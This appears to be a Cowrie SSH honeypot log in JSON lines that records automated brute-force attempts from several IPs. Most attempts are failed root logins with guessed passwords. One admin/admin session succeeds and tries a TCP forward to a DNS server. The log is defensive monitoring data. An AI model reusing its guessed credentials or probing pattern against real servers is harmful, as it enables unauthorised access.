{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.125793Z","src_ip":"87.251.64.176","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.226373Z","src_ip":"87.251.64.176","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.522607Z","src_ip":"87.251.64.176","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.622108Z","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.720870Z","src_ip":"87.251.64.176","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:47.820303Z","src_ip":"87.251.64.176","session":"364cdac1285f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":55050,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f85a437731","protocol":"ssh","message":"New connection: 43.153.56.192:55050 (10.17.0.5:22) [session: 17f85a437731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:49.462945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:49.468054Z","src_ip":"43.153.56.192","session":"17f85a437731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:49.536669Z","src_ip":"43.153.56.192","session":"17f85a437731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu123","message":"login attempt [root/baidu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:49.841806Z","src_ip":"43.153.56.192","session":"17f85a437731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":40998,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b885d33aafd","protocol":"ssh","message":"New connection: 209.99.190.200:40998 (10.17.0.5:22) [session: 1b885d33aafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:50.634073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:50.638494Z","src_ip":"209.99.190.200","session":"1b885d33aafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:50.731067Z","src_ip":"209.99.190.200","session":"1b885d33aafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:50.915962Z","src_ip":"43.153.56.192","session":"17f85a437731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:51.132295Z","src_ip":"209.99.190.200","session":"1b885d33aafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:52.227335Z","src_ip":"209.99.190.200","session":"1b885d33aafd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":46728,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f08d8ad95f5","protocol":"ssh","message":"New connection: 43.153.50.197:46728 (10.17.0.5:22) [session: 5f08d8ad95f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:05.396134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:05.401093Z","src_ip":"43.153.50.197","session":"5f08d8ad95f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:05.470583Z","src_ip":"43.153.50.197","session":"5f08d8ad95f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:05.779401Z","src_ip":"43.153.50.197","session":"5f08d8ad95f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:06.851651Z","src_ip":"43.153.50.197","session":"5f08d8ad95f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":51556,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fdf7eaa69fc","protocol":"ssh","message":"New connection: 43.173.83.154:51556 (10.17.0.5:22) [session: 7fdf7eaa69fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:14.809515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:14.825087Z","src_ip":"43.173.83.154","session":"7fdf7eaa69fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:14.889673Z","src_ip":"43.173.83.154","session":"7fdf7eaa69fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima2013","message":"login attempt [root/mima2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:15.170475Z","src_ip":"43.173.83.154","session":"7fdf7eaa69fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:16.245666Z","src_ip":"43.173.83.154","session":"7fdf7eaa69fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":34678,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3dc3d6b6571","protocol":"ssh","message":"New connection: 209.99.190.200:34678 (10.17.0.5:22) [session: e3dc3d6b6571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:26.520090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:26.525100Z","src_ip":"209.99.190.200","session":"e3dc3d6b6571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:26.617999Z","src_ip":"209.99.190.200","session":"e3dc3d6b6571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2085","message":"login attempt [root/2085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:27.020706Z","src_ip":"209.99.190.200","session":"e3dc3d6b6571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:28.116747Z","src_ip":"209.99.190.200","session":"e3dc3d6b6571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":50945,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc370efd87de","protocol":"ssh","message":"New connection: 190.119.63.98:50945 (10.17.0.5:22) [session: bc370efd87de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:28.758054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:28.762996Z","src_ip":"190.119.63.98","session":"bc370efd87de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:28.917565Z","src_ip":"190.119.63.98","session":"bc370efd87de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tset","message":"login attempt [root/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:29.528362Z","src_ip":"190.119.63.98","session":"bc370efd87de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:30.664968Z","src_ip":"190.119.63.98","session":"bc370efd87de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":37828,"dst_ip":"10.17.0.5","dst_port":22,"session":"baaa7d751928","protocol":"ssh","message":"New connection: 43.134.1.45:37828 (10.17.0.5:22) [session: baaa7d751928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:32.590922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:32.595640Z","src_ip":"43.134.1.45","session":"baaa7d751928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:32.841284Z","src_ip":"43.134.1.45","session":"baaa7d751928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test01","message":"login attempt [root/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:33.856809Z","src_ip":"43.134.1.45","session":"baaa7d751928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:35.106169Z","src_ip":"43.134.1.45","session":"baaa7d751928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":57340,"dst_ip":"10.17.0.5","dst_port":22,"session":"546192af8405","protocol":"ssh","message":"New connection: 94.159.110.201:57340 (10.17.0.5:22) [session: 546192af8405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:42.214457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:42.219864Z","src_ip":"94.159.110.201","session":"546192af8405","protocol":"ssh"}
